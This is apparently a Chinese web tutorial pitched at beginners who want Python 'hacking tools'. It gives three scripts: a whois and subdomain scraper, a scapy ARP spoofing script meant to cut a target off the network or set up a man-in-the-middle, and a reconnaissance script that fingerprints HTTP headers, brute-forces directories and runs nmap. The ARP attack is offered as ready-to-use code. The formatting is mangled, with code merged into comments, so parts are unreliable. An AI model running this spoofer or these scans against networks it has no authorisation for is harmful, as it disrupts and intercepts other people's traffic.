溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎樣進(jìn)行新手Python黑客工具入門

發(fā)布時間:2021-12-04 09:57:33 來源:億速云 閱讀:339 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章給大家介紹怎樣進(jìn)行新手Python黑客工具入門,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

Python黑客工具入門

前言

為了滿足新手對Python的追求,特寫了三個初級Python入門工具。第一期寫了三個初級工具,希望新手看完以后可以對Python的腳本有一個基本了解。

一件套:pythond requests模塊,構(gòu)造一個whois信息收集器;

二件套:Python編寫一個arp斷網(wǎng)攻擊;

三件套:目錄信息收集。

一件套前言: 帶給想寫項目但無從下手的朋友們,這些腳本都比較容易理解

簡單梳理一下此工具需要具備哪些功能。腳本獲取信息如下:

IP信息

子域名

備案

注冊人

郵箱

地址

電話

DNS

具體操作如下:

我們要用到的模塊是requests

python環(huán)境:py3

安裝方法:

pip install requests或python steup.py install

通過http://site.ip138.com來進(jìn)行查詢

http://site.ip138.com/輸入你要查詢的域名/domain.html #這個目錄用于查詢IP解析記錄

htp://site.ip138.com/輸入你要查詢的域名/beian.html #這個用于查詢子域名

http://site.ip138.com/輸入你要查詢的域名/whois.html #這個用于進(jìn)行whois查詢

好了現(xiàn)在我們開始構(gòu)造我們的代碼,代碼里面有詳細(xì)的注釋

#首先我們要導(dǎo)入requests模塊和bs4模塊里的BeautifulSoup和time模塊import requestsimport timefrom bs4 import BeautifulSoup#設(shè)置好開始時間點strat=time.time()def chax():
  #詢問用戶要查詢的域名
  lid=input('請輸入你要查詢的域名:')  #設(shè)置瀏覽器頭過反爬
  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  #設(shè)置好url
  url="http://site.ip138.com/{}/".format(lid)
  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)
  url2="http://site.ip138.com/{}/beian.htm".format(lid)
  url3="http://site.ip138.com/{}/whois.htm".format(lid)  #打開網(wǎng)頁
  rb=requests.get(url,headers=head)
  rb1=requests.get(urldomain,headers=head)
  rb2=requests.get(url2,headers=head)
  rb3=requests.get(url3,headers=head)  #獲取內(nèi)容并用html的方式返回
  gf=BeautifulSoup(rb.content,'html.parser')
  print('[+]IP解析記錄')  #讀取內(nèi)容里的p標(biāo)簽
  for x in gf.find_all('p'):#使用text的內(nèi)容返回link=x.get_text()
    print(link)
gf1=BeautifulSoup(rb1.content,'html.parser')
print('[+]子域名查詢')for v in gf1.find_all('p'):
  link2=v.get_text()
  print(link2)
gf2=BeautifulSoup(rb2.content,'html.parser')
print('[+]備案查詢')for s  in gf2.find_all('p'):
  link3=s.get_text()
  print(link3)
gf3=BeautifulSoup(rb3.content,'html.parser')
print('[+]whois查詢')for k in gf3.find_all('p'):
  link4=k.get_text()
  print(link4)
chax()
end=time.time()
print('查詢耗時:',end-strat)


怎樣進(jìn)行新手Python黑客工具入門

二件套: 使用python編寫一個arp斷網(wǎng)攻擊 

你們知道arp攻擊的原理嗎?如果不知道不要緊,下面開始介紹

arp攻擊原理:

通過偽造IP地址與MAC地址實現(xiàn)ARP欺騙,在網(wǎng)絡(luò)發(fā)送大量ARP通信量。攻擊者只要持續(xù)不斷發(fā)送arp包就能造成中間人攻擊或者斷網(wǎng)攻擊。(PS:我們只需要scapy里的一些參數(shù)就可以實現(xiàn))

scapy介紹:

Scapy是一個Python程序,使用戶能夠發(fā)送,嗅探和剖析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。此功能允許構(gòu)建可以探測,掃描或攻擊網(wǎng)絡(luò)的工具。

換句話說,Scapy是一個功能強大的交互式數(shù)據(jù)包處理程序。它能夠偽造或解碼大量協(xié)議的數(shù)據(jù)包,在線上發(fā)送,捕獲,匹配請求和回復(fù)等等。Scapy可以輕松處理大多數(shù)經(jīng)典任務(wù),如掃描,追蹤,探測,單元測試,攻擊或網(wǎng)絡(luò)發(fā)現(xiàn)。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一個小例子:

ps:scapy正確的食用手冊請認(rèn)真看完介紹和部分基礎(chǔ):【傳送門】

安裝scapy:

py2安裝方法:

pip install scapy

py3安裝方法:

pip install scapy3

更多的安裝方法:【傳送門】

我的系統(tǒng)環(huán)境是:Kali Linux下

各位讀者可以考慮一些使用以下系統(tǒng)環(huán)境:

Centos

Ubuntu

Mac os

ps:盡量不要使用windows,windows會報錯!

缺少windows.dll,具體這個dll安裝后會不會又報錯官方?jīng)]給出答復(fù)

編寫攻擊的腳本: Ether是構(gòu)造網(wǎng)絡(luò)數(shù)據(jù)包 ARP進(jìn)行ARP攻擊 sendp進(jìn)行發(fā)包

    import os	import sys	from scapy.layers.l2 import getmacbyip	from scapy.all import (
  	Ether,
  	ARP,
  	sendp
	)    #執(zhí)行查看IP的命令
	ifconfig=os.system('ifconfig')	print ifconfig
	gmac=raw_input('Please enter gateway IP:')
	liusheng=raw_input('Please enter your IP:')
	liusrc=raw_input('Please enter target IP:')	try:#獲取目標(biāo)的mac
  	tg=getmacbyip(liusrc)  	print tg	except Exception , f:print '[-]{}'.format(f)
    exit()	def arpspoof():
 	 try:
    eth=Ether()
    arp=ARP(
        op="is-at", #arp響應(yīng)hwsrc=gmac, #網(wǎng)關(guān)macpsrc=liusheng,#網(wǎng)關(guān)IPhwdst=tg,#目標(biāo)Macpdst=liusrc#目標(biāo)IP)#對配置進(jìn)行輸出print ((eth/arp).show())#開始發(fā)包sendp(eth/arp,inter=2,loop=1)  	except Exception ,g:      print '[-]{}'.format(g)
      exit()
	arpspoof()


怎樣進(jìn)行新手Python黑客工具入門

從受害者角度看

怎樣進(jìn)行新手Python黑客工具入門

三件套: 想要挖web漏洞就必須做好前面的信息收集 

下面我們來寫一個收集信息的腳本。

準(zhǔn)備:

安裝好requests,bs4模塊: pip install requests pip install bs4 或者去下載好對應(yīng)的模塊壓縮包 然后找到steup.py執(zhí)行python steup.py install

思路: 使用requests.headers()獲取http頭部信息 通過htp響應(yīng)碼來判斷robots是否存在 通過http響應(yīng)碼判斷存在的目錄 通過nmap判斷開放的端口(PS:這里我是使用os模塊來進(jìn)行nmap命令掃描)我這邊的nmap模塊一調(diào)用,nmap就會出現(xiàn)停止運行 通過爬取某網(wǎng)站獲得對應(yīng)的whois,IP反查域名的信息。

開始:

import requestsimport osimport socketfrom bs4 import BeautifulSoupimport time#獲取http指紋def Webfingerprintcollection():
  global lgr
  lgr=input('請輸入目標(biāo)域名:')
  url="http://{}".format(lgr)
  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  r=requests.get(url,headers=header)
  xyt=r.headers  for key in xyt:
      print(key,':',xyt[key])
Webfingerprintcollection()
print('================================================')#判斷有無robots.txtdef robots():
  urlsd="http://{}/robots.txt".format(lgr)
  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  gf=requests.get(urlsd,headers=header,timeout=8)  if gf.status_code == 200:
      print('robots.txt存在')
      print('[+]該站存在robots.txt',urlsd)  else:
      print('[-]沒有robots.txt')
robots()
print("=================================================")#目錄掃描def Webdirectoryscanner():
  dict=open('build.txt','r',encoding='utf-8').read().split('\n')  for xyt in dict:      try:
        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
        urljc="http://"+lgr+"{}".format(xyt)
        rvc=requests.get(urljc,headers=header,timeout=8)if rvc.status_code == 200:
            print('[*]',urljc)      except:
          print('[-]遠(yuǎn)程主機強迫關(guān)閉了一個現(xiàn)有的連接')
Webdirectoryscanner()
print("=====================================================")
s = socket.gethostbyname(lgr)#端口掃描def portscanner():
  o=os.system('nmap {} program'.format(s))
  print(o)
portscanner()
print('======================================================')#whois查詢def whois():
   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)
   rvt=requests.get(urlwhois,headers=heads)
   bv=BeautifulSoup(rvt.content,"html.parser")   for line in bv.find_all('p'):
       link=line.get_text()
       print(link)
whois()
print('======================================================')#IP反查域名def IPbackupdomainname():wu=socket.gethostbyname(lgr)
    rks="http://site.ip138.com/{}/".format(wu)
    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
    sjk=requests.get(rks,headers=rod)
    liverou=BeautifulSoup(sjk.content,'html.parser')for low in liverou.find_all('li'):
        bc=low.get_text()
        print(bc)
IPbackupdomainname()
print('=======================================================')

怎樣進(jìn)行新手Python黑客工具入門

關(guān)于怎樣進(jìn)行新手Python黑客工具入門就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI